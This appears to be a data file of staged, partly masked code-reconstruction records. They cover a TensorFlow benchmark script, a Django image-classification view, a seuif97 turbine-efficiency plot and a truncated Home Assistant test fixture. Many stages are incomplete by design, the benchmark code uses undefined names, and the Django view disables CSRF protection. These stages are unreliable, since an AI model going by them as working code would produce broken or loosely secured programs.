train_time, _ = execute_and_get_duration(_do_training)\n print('Training complete.')\n eval_time, _ = execute_and_get_duration(evaluate_network, topology,\n series_name, batch_size, save_path, bin_distribution, tf_flags)\n print('Metrics:')\n print_time_info(train_time, eval_time)\n\n\ndef _create_bin_distribution(series_name, n_training_samples, topology):\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE,\n n_training_samples, n_training_samples, True)\n train_data = data_provider.get_batch(0)\n return BinDistribution(train_data.labels, topology.n_classification_bins)\n\n\n@printtime(message='Evaluation of Stocastic Series')\ndef evaluate_network(topology, series_name, batch_size, save_path, bin_dist,\n tf_flags):\n n_training_samples = batch_size * 2\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE,\n n_training_samples, batch_size, False)\n test_features, test_labels = data_provider.get_batch(1)\n binned_outputs = crocubot_eval.eval_neural_net(test_features, topology,\n tf_flags, save_path)\n estimated_means, estimated_covariance = (crocubot_eval.\n forecast_means_and_variance(binned_outputs, bin_dist, tf_flags))\n test_labels = np.squeeze(test_labels)\n model_metrics = Metrics()\n model_metrics.evaluate_sample_performance(data_provider.data_source,\n test_labels, estimated_means, estimated_covariance)\n", "step-5": "import datetime\n\nimport numpy as np\nimport tensorflow as tf\nfrom alphai_time_series.performance_trials.performance import Metrics\n\nimport alphai_cromulon_oracle.cromulon.evaluate as crocubot_eval\nimport alphai_cromulon_oracle.cromulon.train as crocubot_train\n\nfrom alphai_cromulon_oracle.cromulon.helpers import TensorflowPath, TensorboardOptions\nfrom alphai_cromulon_oracle.cromulon.model import CrocuBotModel\nfrom alphai_feature_generation.classifier import BinDistribution\nfrom alphai_cromulon_oracle.data.providers import TrainDataProviderForDataSource\nfrom alphai_cromulon_oracle.helpers import printtime, execute_and_get_duration\n\nimport examples.iotools as io\nfrom examples.benchmark.helpers import print_time_info\nfrom examples.helpers import D_TYPE, load_default_topology\n\n\ndef run_timed_benchmark_time_series(series_name, tf_flags, do_training=True):\n\n topology = load_default_topology(series_name, tf_flags)\n\n # First need to establish bin edges using full training set\n n_train_samples = np.minimum(tf_flags.n_training_samples_benchmark, 10000)\n\n bin_distribution = _create_bin_distribution(series_name, n_train_samples, topology)\n batch_size = tf_flags.batch_size\n save_path = io.build_check_point_filename(series_name, topology, tf_flags)\n\n @printtime(message=\"Training {} with do_train: {}\".format(series_name, int(do_training)))\n def _do_training():\n execution_time = datetime.datetime.now()\n if do_training:\n\n data_provider = TrainDataProviderForDataSource(\n series_name,\n D_TYPE,\n n_train_samples,\n batch_size,\n True,\n bin_distribution.bin_edges\n )\n\n\n train_x = data_provider.get_batch(0)\n raw_train_data = TrainDataProvider(train_x, train_y, tf_flags.batch_size)\n\n tensorflow_path = TensorflowPath(save_path, tf_flags.model_save_path)\n tensorboard_options = TensorboardOptions(tf_flags.tensorboard_log_path,\n tf_flags.learning_rate,\n batch_size,\n execution_time\n )\n crocubot_train.train(topology,\n data_provider,\n tensorflow_path,\n tensorboard_options,\n tf_flags\n )\n else:\n tf.reset_default_graph()\n model = CrocuBotModel(topology)\n model.build_layers_variables()\n\n train_time, _ = execute_and_get_duration(_do_training)\n\n print(\"Training complete.\")\n\n eval_time, _ = execute_and_get_duration(evaluate_network, topology, series_name, batch_size,\n save_path, bin_distribution, tf_flags)\n\n print('Metrics:')\n print_time_info(train_time, eval_time)\n\n\ndef _create_bin_distribution(series_name, n_training_samples, topology):\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE, n_training_samples, n_training_samples, True)\n train_data = data_provider.get_batch(0)\n\n return BinDistribution(train_data.labels, topology.n_classification_bins)\n\n\n@printtime(message=\"Evaluation of Stocastic Series\")\ndef evaluate_network(topology, series_name, batch_size, save_path, bin_dist, tf_flags):\n\n n_training_samples = batch_size * 2\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE, n_training_samples, batch_size, False)\n\n test_features, test_labels = data_provider.get_batch(1)\n\n binned_outputs = crocubot_eval.eval_neural_net(test_features, topology, tf_flags, save_path)\n\n estimated_means, estimated_covariance = crocubot_eval.forecast_means_and_variance(\n binned_outputs, bin_dist, tf_flags)\n test_labels = np.squeeze(test_labels)\n\n model_metrics = Metrics()\n model_metrics.evaluate_sample_performance(\n data_provider.data_source,\n test_labels,\n estimated_means,\n estimated_covariance\n )\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
from django.shortcuts import render from PIL import Image from django.views.decorators import csrf import numpy as np import re import sys import os from .utils import * from django.http import JsonResponse from django.views.decorators.csrf import csrf_exempt import base64 sys.path.append(os.path.abspath("./models")) OUTPUT = os.path.join(os.path.dirname(__file__), 'output.png') from PIL import Image from io import BytesIO def getI420FromBase64(codec): base64_data = re.sub('^data:image/.+;base64,', '', codec) byte_data = base64.b64decode(base64_data) image_data = BytesIO(byte_data) img = Image.open(image_data) img.save(OUTPUT) def convertImage(imgData): getI420FromBase64(imgData) @csrf_exempt def predict(request): imgData = request.POST.get('img') convertImage(imgData) x = Image.open(OUTPUT) x = x.convert('L') x = x.resize((32,32)) x.save(OUTPUT) x = np.array(x) x = x.reshape(1,32,32,1) model, graph = init() out = model.predict(x) response = np.array(np.argmax(out, axis=1)) return JsonResponse({"output": str(response[0]) }) def index(request): return render(request, 'index.html', { "imagestr" : "static/hindi_characters/1.png"})
normal
{ "blob_id": "b84b3206e87176feee2c39fc0866ada994c9ac7a", "index": 8655, "step-1": "<mask token>\n\n\ndef convertImage(imgData):\n getI420FromBase64(imgData)\n\n\n<mask token>\n", "step-2": "<mask token>\nsys.path.append(os.path.abspath('./models'))\n<mask token>\n\n\ndef getI420FromBase64(codec):\n base64_data = re.sub('^data:image/.+;base64,', '', codec)\n byte_data = base64.b64decode(base64_data)\n image_data = BytesIO(byte_data)\n img = Image.open(image_data)\n img.save(OUTPUT)\n\n\ndef convertImage(imgData):\n getI420FromBase64(imgData)\n\n\n@csrf_exempt\ndef predict(request):\n imgData = request.POST.get('img')\n convertImage(imgData)\n x = Image.open(OUTPUT)\n x = x.convert('L')\n x = x.resize((32, 32))\n x.save(OUTPUT)\n x = np.array(x)\n x = x.reshape(1, 32, 32, 1)\n model, graph = init()\n out = model.predict(x)\n response = np.array(np.argmax(out, axis=1))\n return JsonResponse({'output': str(response[0])})\n\n\ndef index(request):\n return render(request, 'index.html', {'imagestr':\n 'static/hindi_characters/1.png'})\n", "step-3": "<mask token>\nsys.path.append(os.path.abspath('./models'))\nOUTPUT = os.path.join(os.path.dirname(__file__), 'output.png')\n<mask token>\n\n\ndef getI420FromBase64(codec):\n base64_data = re.sub('^data:image/.+;base64,', '', codec)\n byte_data = base64.b64decode(base64_data)\n image_data = BytesIO(byte_data)\n img = Image.open(image_data)\n img.save(OUTPUT)\n\n\ndef convertImage(imgData):\n getI420FromBase64(imgData)\n\n\n@csrf_exempt\ndef predict(request):\n imgData = request.POST.get('img')\n convertImage(imgData)\n x = Image.open(OUTPUT)\n x = x.convert('L')\n x = x.resize((32, 32))\n x.save(OUTPUT)\n x = np.array(x)\n x = x.reshape(1, 32, 32, 1)\n model, graph = init()\n out = model.predict(x)\n response = np.array(np.argmax(out, axis=1))\n return JsonResponse({'output': str(response[0])})\n\n\ndef index(request):\n return render(request, 'index.html', {'imagestr':\n 'static/hindi_characters/1.png'})\n", "step-4": "from django.shortcuts import render\nfrom PIL import Image\nfrom django.views.decorators import csrf\nimport numpy as np\nimport re\nimport sys\nimport os\nfrom .utils import *\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nimport base64\nsys.path.append(os.path.abspath('./models'))\nOUTPUT = os.path.join(os.path.dirname(__file__), 'output.png')\nfrom PIL import Image\nfrom io import BytesIO\n\n\ndef getI420FromBase64(codec):\n base64_data = re.sub('^data:image/.+;base64,', '', codec)\n byte_data = base64.b64decode(base64_data)\n image_data = BytesIO(byte_data)\n img = Image.open(image_data)\n img.save(OUTPUT)\n\n\ndef convertImage(imgData):\n getI420FromBase64(imgData)\n\n\n@csrf_exempt\ndef predict(request):\n imgData = request.POST.get('img')\n convertImage(imgData)\n x = Image.open(OUTPUT)\n x = x.convert('L')\n x = x.resize((32, 32))\n x.save(OUTPUT)\n x = np.array(x)\n x = x.reshape(1, 32, 32, 1)\n model, graph = init()\n out = model.predict(x)\n response = np.array(np.argmax(out, axis=1))\n return JsonResponse({'output': str(response[0])})\n\n\ndef index(request):\n return render(request, 'index.html', {'imagestr':\n 'static/hindi_characters/1.png'})\n", "step-5": "from django.shortcuts import render\nfrom PIL import Image\nfrom django.views.decorators import csrf\nimport numpy as np\nimport re\nimport sys\nimport os\nfrom .utils import *\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nimport base64\nsys.path.append(os.path.abspath(\"./models\"))\nOUTPUT = os.path.join(os.path.dirname(__file__), 'output.png')\nfrom PIL import Image\nfrom io import BytesIO\ndef getI420FromBase64(codec):\n base64_data = re.sub('^data:image/.+;base64,', '', codec)\n byte_data = base64.b64decode(base64_data)\n image_data = BytesIO(byte_data)\n img = Image.open(image_data)\n img.save(OUTPUT)\n\n\ndef convertImage(imgData):\n getI420FromBase64(imgData)\n\n@csrf_exempt\ndef predict(request):\n imgData = request.POST.get('img')\n convertImage(imgData)\n x = Image.open(OUTPUT)\n x = x.convert('L')\n x = x.resize((32,32))\n x.save(OUTPUT)\n x = np.array(x)\n x = x.reshape(1,32,32,1)\n model, graph = init()\n out = model.predict(x)\n response = np.array(np.argmax(out, axis=1))\n return JsonResponse({\"output\": str(response[0]) })\n\n\ndef index(request):\n return render(request, 'index.html', { \"imagestr\" : \"static/hindi_characters/1.png\"})\n", "step-ids": [ 1, 5, 6, 7, 8 ] }
[ 1, 5, 6, 7, 8 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> plt.plot(point_p1_s, point_p1_h, 'bs-') plt.plot(point_p2_s, point_p2_h, 'bs-') plt.plot(point_is_s, point_is_h, 'ys-') plt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line') <|reserved_special_token_0|> plt.legend(loc='best', bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True, title=_title) plt.annotate('(P1,T1)', xy=(s1, h1), xycoords='data', xytext=(+10, +30), textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle= '->', connectionstyle='arc3,rad=.2')) plt.annotate('(P2,T2)', xy=(s2, h2), xycoords='data', xytext=(+10, +30), textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle= '->', connectionstyle='arc3,rad=.2')) plt.xlabel('s(kJ/(kg.K))') plt.ylabel('h(kJ/kg)') plt.show() <|reserved_special_token_1|> <|reserved_special_token_0|> p1, t1 = 16, 535 p2, t2 = 3.56, 315 h1 = pt2h(p1, t1) s1 = pt2s(p1, t1) h2 = pt2h(p2, t2) s2 = pt2s(p2, t2) h2s = ps2h(p2, s1) his = ishd(p1, t1, p2) ef = ief(p1, t1, p2, t2) samp = 0.01 smp1 = s1 - samp hsmp1 = ps2h(p1, smp1) sap1 = s1 + samp hsap1 = ps2h(p1, sap1) smt1 = s1 - samp hsmt1 = ps2h(p1, smp1) sat1 = s1 + samp hsat1 = ts2h(t1, sap1) point_p1_h = np.zeros(shape=3) point_p1_h[0] = hsmp1 point_p1_h[1] = h1 point_p1_h[2] = hsap1 point_p1_s = np.zeros(shape=3) point_p1_s[0] = smp1 point_p1_s[1] = s1 point_p1_s[2] = sap1 smp2 = s1 - samp hsmp2 = ps2h(p2, smp2) sap2 = s2 + samp hsap2 = ps2h(p2, sap2) smt2 = s2 - samp hsmt2 = ps2h(p1, smp1) sat2 = s2 + samp hsat2 = ts2h(t2, sap1) point_p2_h = np.zeros(shape=3) point_p2_h[0] = hsmp2 point_p2_h[1] = h2 point_p2_h[2] = hsap2 point_p2_s = np.zeros(shape=3) point_p2_s[0] = smp2 point_p2_s[1] = s2 point_p2_s[2] = sap2 point_is_h = np.zeros(shape=2) point_is_h[0] = h1 point_is_h[1] = h2s point_is_s = np.zeros(shape=2) point_is_s[0] = s1 point_is_s[1] = s1 point_hp_h = np.zeros(shape=2) point_hp_h[0] = h1 point_hp_h[1] = h2 point_hp_s = np.zeros(shape=2) point_hp_s[0] = s1 point_hp_s[1] = s2 plt.plot(point_p1_s, point_p1_h, 'bs-') plt.plot(point_p2_s, point_p2_h, 'bs-') plt.plot(point_is_s, point_is_h, 'ys-') plt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line') _title = ('The isentropic efficiency = ' + '$\\frac{h1-h2}{h1-h2s}$' + '=' + '{:.2f}'.format(ef) + '%') plt.legend(loc='best', bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True, title=_title) plt.annotate('(P1,T1)', xy=(s1, h1), xycoords='data', xytext=(+10, +30), textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle= '->', connectionstyle='arc3,rad=.2')) plt.annotate('(P2,T2)', xy=(s2, h2), xycoords='data', xytext=(+10, +30), textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle= '->', connectionstyle='arc3,rad=.2')) plt.xlabel('s(kJ/(kg.K))') plt.ylabel('h(kJ/kg)') plt.show() <|reserved_special_token_1|> <|reserved_special_token_0|> from seuif97 import * import matplotlib.pyplot as plt import numpy as np p1, t1 = 16, 535 p2, t2 = 3.56, 315 h1 = pt2h(p1, t1) s1 = pt2s(p1, t1) h2 = pt2h(p2, t2) s2 = pt2s(p2, t2) h2s = ps2h(p2, s1) his = ishd(p1, t1, p2) ef = ief(p1, t1, p2, t2) samp = 0.01 smp1 = s1 - samp hsmp1 = ps2h(p1, smp1) sap1 = s1 + samp hsap1 = ps2h(p1, sap1) smt1 = s1 - samp hsmt1 = ps2h(p1, smp1) sat1 = s1 + samp hsat1 = ts2h(t1, sap1) point_p1_h = np.zeros(shape=3) point_p1_h[0] = hsmp1 point_p1_h[1] = h1 point_p1_h[2] = hsap1 point_p1_s = np.zeros(shape=3) point_p1_s[0] = smp1 point_p1_s[1] = s1 point_p1_s[2] = sap1 smp2 = s1 - samp hsmp2 = ps2h(p2, smp2) sap2 = s2 + samp hsap2 = ps2h(p2, sap2) smt2 = s2 - samp hsmt2 = ps2h(p1, smp1) sat2 = s2 + samp hsat2 = ts2h(t2, sap1) point_p2_h = np.zeros(shape=3) point_p2_h[0] = hsmp2 point_p2_h[1] = h2 point_p2_h[2] = hsap2 point_p2_s = np.zeros(shape=3) point_p2_s[0] = smp2 point_p2_s[1] = s2 point_p2_s[2] = sap2 point_is_h = np.zeros(shape=2) point_is_h[0] = h1 point_is_h[1] = h2s point_is_s = np.zeros(shape=2) point_is_s[0] = s1 point_is_s[1] = s1 point_hp_h = np.zeros(shape=2) point_hp_h[0] = h1 point_hp_h[1] = h2 point_hp_s = np.zeros(shape=2) point_hp_s[0] = s1 point_hp_s[1] = s2 plt.plot(point_p1_s, point_p1_h, 'bs-') plt.plot(point_p2_s, point_p2_h, 'bs-') plt.plot(point_is_s, point_is_h, 'ys-') plt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line') _title = ('The isentropic efficiency = ' + '$\\frac{h1-h2}{h1-h2s}$' + '=' + '{:.2f}'.format(ef) + '%') plt.legend(loc='best', bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True, title=_title) plt.annotate('(P1,T1)', xy=(s1, h1), xycoords='data', xytext=(+10, +30), textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle= '->', connectionstyle='arc3,rad=.2')) plt.annotate('(P2,T2)', xy=(s2, h2), xycoords='data', xytext=(+10, +30), textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle= '->', connectionstyle='arc3,rad=.2')) plt.xlabel('s(kJ/(kg.K))') plt.ylabel('h(kJ/kg)') plt.show() <|reserved_special_token_1|> # -*- coding: utf-8 -*- """ This is a simple sample for seuif.py License: this code is in the public domain Author: Cheng Maohua Email: [email protected] Last modified: 2016.4.20 """ from seuif97 import * import matplotlib.pyplot as plt import numpy as np p1,t1 = 16, 535 p2,t2 = 3.56,315 h1 = pt2h(p1, t1) s1 = pt2s(p1, t1) h2 = pt2h(p2, t2) s2 = pt2s(p2, t2) h2s = ps2h(p2, s1) his = ishd(p1, t1, p2) ef = ief(p1, t1, p2, t2) # print('The isentropic efficiency is ',ef) # 4条线:p1、p2 等压,等熵焓降线、膨胀线 samp = 0.01 smp1 = s1 - samp hsmp1 = ps2h(p1, smp1) sap1 = s1 + samp hsap1 = ps2h(p1, sap1) smt1 = s1 - samp hsmt1 = ps2h(p1, smp1) sat1 = s1 + samp hsat1 = ts2h(t1, sap1) point_p1_h = np.zeros(shape=3) point_p1_h[0] = hsmp1 point_p1_h[1] = h1 point_p1_h[2] = hsap1 point_p1_s = np.zeros(shape=3) point_p1_s[0] = smp1 point_p1_s[1] = s1 point_p1_s[2] = sap1 # p2 smp2 = s1 - samp # 等熵焓降点延伸 hsmp2 = ps2h(p2, smp2) sap2 = s2 + samp hsap2 = ps2h(p2, sap2) smt2 = s2 - samp hsmt2 = ps2h(p1, smp1) sat2 = s2 + samp hsat2 = ts2h(t2, sap1) point_p2_h = np.zeros(shape=3) point_p2_h[0] = hsmp2 point_p2_h[1] = h2 point_p2_h[2] = hsap2 point_p2_s = np.zeros(shape=3) point_p2_s[0] = smp2 point_p2_s[1] = s2 point_p2_s[2] = sap2 # 等熵焓降 point_is_h = np.zeros(shape=2) point_is_h[0] = h1 point_is_h[1] = h2s point_is_s = np.zeros(shape=2) point_is_s[0] = s1 point_is_s[1] = s1 # HP Expansion Line point_hp_h = np.zeros(shape=2) point_hp_h[0] = h1 point_hp_h[1] = h2 point_hp_s = np.zeros(shape=2) point_hp_s[0] = s1 point_hp_s[1] = s2 plt.plot(point_p1_s, point_p1_h, 'bs-') plt.plot(point_p2_s, point_p2_h, 'bs-') plt.plot(point_is_s, point_is_h, 'ys-') plt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line') _title = 'The isentropic efficiency = ' + \ r'$\frac{h1-h2}{h1-h2s}$' + '=' + '{:.2f}'.format(ef) + '%' plt.legend(loc="best", bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True, title=_title) # annotate some interesting points plt.annotate('(P1,T1)', xy=(s1, h1), xycoords='data', xytext=(+10, +30), textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle="->", connectionstyle="arc3,rad=.2")) plt.annotate('(P2,T2)', xy=(s2, h2), xycoords='data', xytext=(+10, +30), textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle="->", connectionstyle="arc3,rad=.2")) plt.xlabel('s(kJ/(kg.K))') plt.ylabel('h(kJ/kg)') plt.show()
flexible
{ "blob_id": "ebe546794131eddea396bd6b82fbb41aeead4661", "index": 572, "step-1": "<mask token>\n", "step-2": "<mask token>\nplt.plot(point_p1_s, point_p1_h, 'bs-')\nplt.plot(point_p2_s, point_p2_h, 'bs-')\nplt.plot(point_is_s, point_is_h, 'ys-')\nplt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line')\n<mask token>\nplt.legend(loc='best', bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True,\n title=_title)\nplt.annotate('(P1,T1)', xy=(s1, h1), xycoords='data', xytext=(+10, +30),\n textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=\n '->', connectionstyle='arc3,rad=.2'))\nplt.annotate('(P2,T2)', xy=(s2, h2), xycoords='data', xytext=(+10, +30),\n textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=\n '->', connectionstyle='arc3,rad=.2'))\nplt.xlabel('s(kJ/(kg.K))')\nplt.ylabel('h(kJ/kg)')\nplt.show()\n", "step-3": "<mask token>\np1, t1 = 16, 535\np2, t2 = 3.56, 315\nh1 = pt2h(p1, t1)\ns1 = pt2s(p1, t1)\nh2 = pt2h(p2, t2)\ns2 = pt2s(p2, t2)\nh2s = ps2h(p2, s1)\nhis = ishd(p1, t1, p2)\nef = ief(p1, t1, p2, t2)\nsamp = 0.01\nsmp1 = s1 - samp\nhsmp1 = ps2h(p1, smp1)\nsap1 = s1 + samp\nhsap1 = ps2h(p1, sap1)\nsmt1 = s1 - samp\nhsmt1 = ps2h(p1, smp1)\nsat1 = s1 + samp\nhsat1 = ts2h(t1, sap1)\npoint_p1_h = np.zeros(shape=3)\npoint_p1_h[0] = hsmp1\npoint_p1_h[1] = h1\npoint_p1_h[2] = hsap1\npoint_p1_s = np.zeros(shape=3)\npoint_p1_s[0] = smp1\npoint_p1_s[1] = s1\npoint_p1_s[2] = sap1\nsmp2 = s1 - samp\nhsmp2 = ps2h(p2, smp2)\nsap2 = s2 + samp\nhsap2 = ps2h(p2, sap2)\nsmt2 = s2 - samp\nhsmt2 = ps2h(p1, smp1)\nsat2 = s2 + samp\nhsat2 = ts2h(t2, sap1)\npoint_p2_h = np.zeros(shape=3)\npoint_p2_h[0] = hsmp2\npoint_p2_h[1] = h2\npoint_p2_h[2] = hsap2\npoint_p2_s = np.zeros(shape=3)\npoint_p2_s[0] = smp2\npoint_p2_s[1] = s2\npoint_p2_s[2] = sap2\npoint_is_h = np.zeros(shape=2)\npoint_is_h[0] = h1\npoint_is_h[1] = h2s\npoint_is_s = np.zeros(shape=2)\npoint_is_s[0] = s1\npoint_is_s[1] = s1\npoint_hp_h = np.zeros(shape=2)\npoint_hp_h[0] = h1\npoint_hp_h[1] = h2\npoint_hp_s = np.zeros(shape=2)\npoint_hp_s[0] = s1\npoint_hp_s[1] = s2\nplt.plot(point_p1_s, point_p1_h, 'bs-')\nplt.plot(point_p2_s, point_p2_h, 'bs-')\nplt.plot(point_is_s, point_is_h, 'ys-')\nplt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line')\n_title = ('The isentropic efficiency = ' + '$\\\\frac{h1-h2}{h1-h2s}$' + '=' +\n '{:.2f}'.format(ef) + '%')\nplt.legend(loc='best', bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True,\n title=_title)\nplt.annotate('(P1,T1)', xy=(s1, h1), xycoords='data', xytext=(+10, +30),\n textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=\n '->', connectionstyle='arc3,rad=.2'))\nplt.annotate('(P2,T2)', xy=(s2, h2), xycoords='data', xytext=(+10, +30),\n textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=\n '->', connectionstyle='arc3,rad=.2'))\nplt.xlabel('s(kJ/(kg.K))')\nplt.ylabel('h(kJ/kg)')\nplt.show()\n", "step-4": "<mask token>\nfrom seuif97 import *\nimport matplotlib.pyplot as plt\nimport numpy as np\np1, t1 = 16, 535\np2, t2 = 3.56, 315\nh1 = pt2h(p1, t1)\ns1 = pt2s(p1, t1)\nh2 = pt2h(p2, t2)\ns2 = pt2s(p2, t2)\nh2s = ps2h(p2, s1)\nhis = ishd(p1, t1, p2)\nef = ief(p1, t1, p2, t2)\nsamp = 0.01\nsmp1 = s1 - samp\nhsmp1 = ps2h(p1, smp1)\nsap1 = s1 + samp\nhsap1 = ps2h(p1, sap1)\nsmt1 = s1 - samp\nhsmt1 = ps2h(p1, smp1)\nsat1 = s1 + samp\nhsat1 = ts2h(t1, sap1)\npoint_p1_h = np.zeros(shape=3)\npoint_p1_h[0] = hsmp1\npoint_p1_h[1] = h1\npoint_p1_h[2] = hsap1\npoint_p1_s = np.zeros(shape=3)\npoint_p1_s[0] = smp1\npoint_p1_s[1] = s1\npoint_p1_s[2] = sap1\nsmp2 = s1 - samp\nhsmp2 = ps2h(p2, smp2)\nsap2 = s2 + samp\nhsap2 = ps2h(p2, sap2)\nsmt2 = s2 - samp\nhsmt2 = ps2h(p1, smp1)\nsat2 = s2 + samp\nhsat2 = ts2h(t2, sap1)\npoint_p2_h = np.zeros(shape=3)\npoint_p2_h[0] = hsmp2\npoint_p2_h[1] = h2\npoint_p2_h[2] = hsap2\npoint_p2_s = np.zeros(shape=3)\npoint_p2_s[0] = smp2\npoint_p2_s[1] = s2\npoint_p2_s[2] = sap2\npoint_is_h = np.zeros(shape=2)\npoint_is_h[0] = h1\npoint_is_h[1] = h2s\npoint_is_s = np.zeros(shape=2)\npoint_is_s[0] = s1\npoint_is_s[1] = s1\npoint_hp_h = np.zeros(shape=2)\npoint_hp_h[0] = h1\npoint_hp_h[1] = h2\npoint_hp_s = np.zeros(shape=2)\npoint_hp_s[0] = s1\npoint_hp_s[1] = s2\nplt.plot(point_p1_s, point_p1_h, 'bs-')\nplt.plot(point_p2_s, point_p2_h, 'bs-')\nplt.plot(point_is_s, point_is_h, 'ys-')\nplt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line')\n_title = ('The isentropic efficiency = ' + '$\\\\frac{h1-h2}{h1-h2s}$' + '=' +\n '{:.2f}'.format(ef) + '%')\nplt.legend(loc='best', bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True,\n title=_title)\nplt.annotate('(P1,T1)', xy=(s1, h1), xycoords='data', xytext=(+10, +30),\n textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=\n '->', connectionstyle='arc3,rad=.2'))\nplt.annotate('(P2,T2)', xy=(s2, h2), xycoords='data', xytext=(+10, +30),\n textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=\n '->', connectionstyle='arc3,rad=.2'))\nplt.xlabel('s(kJ/(kg.K))')\nplt.ylabel('h(kJ/kg)')\nplt.show()\n", "step-5": "# -*- coding: utf-8 -*-\n\"\"\"\nThis is a simple sample for seuif.py\n\nLicense: this code is in the public domain\n\nAuthor: Cheng Maohua\nEmail: [email protected]\n\nLast modified: 2016.4.20\n\n\"\"\"\nfrom seuif97 import *\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\np1,t1 = 16, 535\np2,t2 = 3.56,315\nh1 = pt2h(p1, t1)\ns1 = pt2s(p1, t1)\n\nh2 = pt2h(p2, t2)\ns2 = pt2s(p2, t2)\n\nh2s = ps2h(p2, s1)\nhis = ishd(p1, t1, p2)\n\nef = ief(p1, t1, p2, t2)\n\n# print('The isentropic efficiency is ',ef)\n\n# 4条线:p1、p2 等压,等熵焓降线、膨胀线\n\nsamp = 0.01\n\nsmp1 = s1 - samp\nhsmp1 = ps2h(p1, smp1)\nsap1 = s1 + samp\nhsap1 = ps2h(p1, sap1)\n\nsmt1 = s1 - samp\nhsmt1 = ps2h(p1, smp1)\nsat1 = s1 + samp\nhsat1 = ts2h(t1, sap1)\n\npoint_p1_h = np.zeros(shape=3)\npoint_p1_h[0] = hsmp1\npoint_p1_h[1] = h1\npoint_p1_h[2] = hsap1\npoint_p1_s = np.zeros(shape=3)\npoint_p1_s[0] = smp1\npoint_p1_s[1] = s1\npoint_p1_s[2] = sap1\n\n# p2\nsmp2 = s1 - samp # 等熵焓降点延伸\nhsmp2 = ps2h(p2, smp2)\nsap2 = s2 + samp\nhsap2 = ps2h(p2, sap2)\n\nsmt2 = s2 - samp\nhsmt2 = ps2h(p1, smp1)\nsat2 = s2 + samp\nhsat2 = ts2h(t2, sap1)\n\npoint_p2_h = np.zeros(shape=3)\npoint_p2_h[0] = hsmp2\npoint_p2_h[1] = h2\npoint_p2_h[2] = hsap2\n\npoint_p2_s = np.zeros(shape=3)\npoint_p2_s[0] = smp2\npoint_p2_s[1] = s2\npoint_p2_s[2] = sap2\n\n# 等熵焓降\npoint_is_h = np.zeros(shape=2)\npoint_is_h[0] = h1\npoint_is_h[1] = h2s\npoint_is_s = np.zeros(shape=2)\npoint_is_s[0] = s1\npoint_is_s[1] = s1\n\n# HP Expansion Line\npoint_hp_h = np.zeros(shape=2)\npoint_hp_h[0] = h1\npoint_hp_h[1] = h2\npoint_hp_s = np.zeros(shape=2)\npoint_hp_s[0] = s1\npoint_hp_s[1] = s2\n\nplt.plot(point_p1_s, point_p1_h, 'bs-')\n\nplt.plot(point_p2_s, point_p2_h, 'bs-')\nplt.plot(point_is_s, point_is_h, 'ys-')\nplt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line')\n\n_title = 'The isentropic efficiency = ' + \\\n r'$\\frac{h1-h2}{h1-h2s}$' + '=' + '{:.2f}'.format(ef) + '%'\n\nplt.legend(loc=\"best\", bbox_to_anchor=[0.5, 0.5],\n ncol=2, shadow=True, title=_title)\n\n# annotate some interesting points\nplt.annotate('(P1,T1)',\n xy=(s1, h1), xycoords='data',\n xytext=(+10, +30), textcoords='offset points', fontsize=12,\n arrowprops=dict(arrowstyle=\"->\", connectionstyle=\"arc3,rad=.2\"))\n\nplt.annotate('(P2,T2)',\n xy=(s2, h2), xycoords='data',\n xytext=(+10, +30), textcoords='offset points', fontsize=12,\n arrowprops=dict(arrowstyle=\"->\", connectionstyle=\"arc3,rad=.2\"))\n\nplt.xlabel('s(kJ/(kg.K))')\nplt.ylabel('h(kJ/kg)')\nplt.show()\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> @pytest.fixture async def http_client(hass, hass_client_no_auth): """Initialize a Home Assistant Server for testing this module.""" await async_setup_component(hass, webhook.DOMAIN, {}) return await hass_client_no_auth() @pytest.fixture async def webhook_id_with_api_key(hass): """Initialize the Mailgun component and get the webhook_id.""" await async_setup_component(hass, mailgun.DOMAIN, {mailgun.DOMAIN: { CONF_API_KEY: API_KEY, CONF_DOMAIN: 'example.com'}}) await async_process_ha_core_config(hass, {'internal_url': 'http://example.local:8123'}) result = await hass.config_entries.flow.async_init('mailgun', context={ 'source': config_entries.SOURCE_USER}) assert result['type'] == data_entry_flow.FlowResultType.FORM, result result = await hass.config_entries.flow.async_configure(result[ 'flow_id'], {}) assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY return result['result'].data['webhook_id'] @pytest.fixture async def webhook_id_without_api_key(hass): 